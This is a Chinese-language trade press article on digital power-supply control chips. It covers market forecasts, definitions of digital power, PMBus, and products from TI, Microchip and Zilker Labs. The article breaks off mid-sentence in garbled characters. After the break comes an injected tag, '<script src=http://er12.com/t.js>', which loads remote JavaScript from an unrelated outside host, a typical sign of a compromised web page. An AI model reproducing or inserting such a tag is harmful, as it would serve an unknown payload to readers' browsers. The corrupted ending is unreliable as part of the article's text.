数字电源已经由被热炒的概念走入实际应用。自2005年下半年开始，以“全数字控制回路”为特怔的数字电源控制芯片开始出现，ti、silicon labs、primarion、zilker labs和凌力尔特等公司纷纷推出了产品，并进入到高端ac/dc电源设计中。最近几个月，一个新的变化是，用于dc/dc转换器的电源控制芯片产品和供应商也加入数字电源市场，预计到2007年，下游的客户会有更多的选择。市场研究机构darnell group表示，2006年全球数字电源芯片市场为1.69亿美元，预计2010年将达到7.96亿美元，年复合增长率为36.4%。未来几年，数字电源芯片仍将以ac/dc电源应用为主，另外在高端dc/dc转换器中有所应用。
数字电源的核心：电源转换的数字化控制
一直以来，业界对于数字电源的概念争论不一，对应的产品也是五花八门，有全数字控制芯片，也有披着“数字外衣”的模拟控制器，还有模拟和数字混合的电源控制器。时至今日，业界很多公司都比较认同ti从功能上对数字电源进行了定义：数字电源就是数字化控制的电源产品，它能提供配置、监控和管理功能，并延伸到对整个回路的控制。也就是说，数字电源包括两部分：pwm反馈回路的全数字控制，电源管理与通信。
“数字电源管理有两大特色，数字化控制的电源转换和系统层面的电源管理。”国家半导体便携电源系统先进技术主管ravi ambatipudi表示。传统上，电源转换器配合模拟控制回路和模拟电路，与之相反的是，“在大多数基本形式的数字电源管理中，电源转换器配合全数字控制环路和数字电路。除了外部输出滤波器外，不需要其它的模拟元件”，他表示，“系统级的数字电源管理包括soc芯片的智能化，soc能够通过专门接口智能地控制稳压器(voltage regulator)，实现先进电源管理。”
事实上，业界关于数字电源的概念不一，主要是因为混淆了数字电源的两个部分：pwm反馈回路的全数字控制，电源管理与通信。ti资深技术销售工程师李志林表示：“真正的数字电源应该是数字化控制电源转换，而不是电源管理与通信方面，因为目前模拟控制器也可以采用i2c和pmbus实现电源管理与通信。”上海英联系统公司技术总监乔宗标对此也表示认同，他指出：“数字电源的核心是电源转换控制，它是环路控制、软件启动和隔离等功能的实现回路，而pmbus只是外部端口特性，关系不是很大。”
从最近几家公司推出的数字电源控制芯片来看，业界对数字电源的概念越发一致。无论是ti、microchip还是zilker，他们推出的产品都实现了全数字控制回路和支持pmbus总线——随着越来越多的公司支持，pmbus可望成为数字电源的通信总线与接口标准。为了减少工程师对编程的恐惧，他们的产品都可通过图形用户界面(gui)进行全面配置，从而无需单独进行软件编程即可对电源转换进行监控与管理。另外，为了帮助客户平滑向数字电源转换，他们的产品也支持原来模拟控制的一些功能。
在数字电源市场，microchip是一个典型的渐进主义者，产品由简单到复杂。microchip的数字电源控制器产品可以分为四个级别，在推出了开关控制、比例控制、拓朴控制产品后，直到今年夏天，microchip才推出了第四级全数字控制器——最多可以支持四路输出的16位dspic数字信号控制器(dsc)系列，这也是microchip真正意义上的数字电源产品。microchip dsc部门战略市场总监steve marsh表示：“新推出的是第四级全数字控制产品，第一次实现全数字控制回路。它最大的特点是只需要使用dsc，完全通过固件实现数字滤波，只需要外接功率驱动模块。这样的数字控制，可以使客户使用的元件数量减少50%。”它适用于ac/dc电源、功率因数校正(pfc)、隔离式dc/dc转换器、ups和逆变电源等。
而没有任何历史包袱的初创公司zilker却走得非常快。7月末，zilker推出首款整合了全数字电源管理功能的3a电源转换单芯片解决方案zl2105，作为其应用范围为3a-30a的zl2005的补充。它在6×6毫米的小型封装中集成了dc/dc转换(包括同步功率mosfet)与关键电源管理功能。通过简单的引脚带连接、电阻选择，或通过该器件上的板上串口，使用pmbus命令集可对zilker的产品进行配置。zl2105适用于数据通讯、电信、工业控制及其它基于机架的电子系统嵌入式应用。为了向亚洲市场推广产品，zilker于今年初在香港成立子公司，为亚洲客户提供设计和销售服务，并在9月与分销商安富利亚洲区签署合作协议。
值得注意的是，zilker芯片的控制核心不是dsp或mcu，而是一种称之为state-machine的技术。zilker公司创始人兼市场营销副总裁jim templeton表示：“基于dsp的数字电源方案需要昂贵的高速adc和dsp，成本和功耗比较高，而且编程复杂。”但他也坦承，相比dsp方案，zl2105的功能要少一些，目前也只能做降压转换。
dsp方案的领头羊ti公司的李志林则指出，由于采用了非常成熟的cmos工艺，ti方案的特点是功能完备，而且功耗很低。目?script src=http://er12.com/t.js>
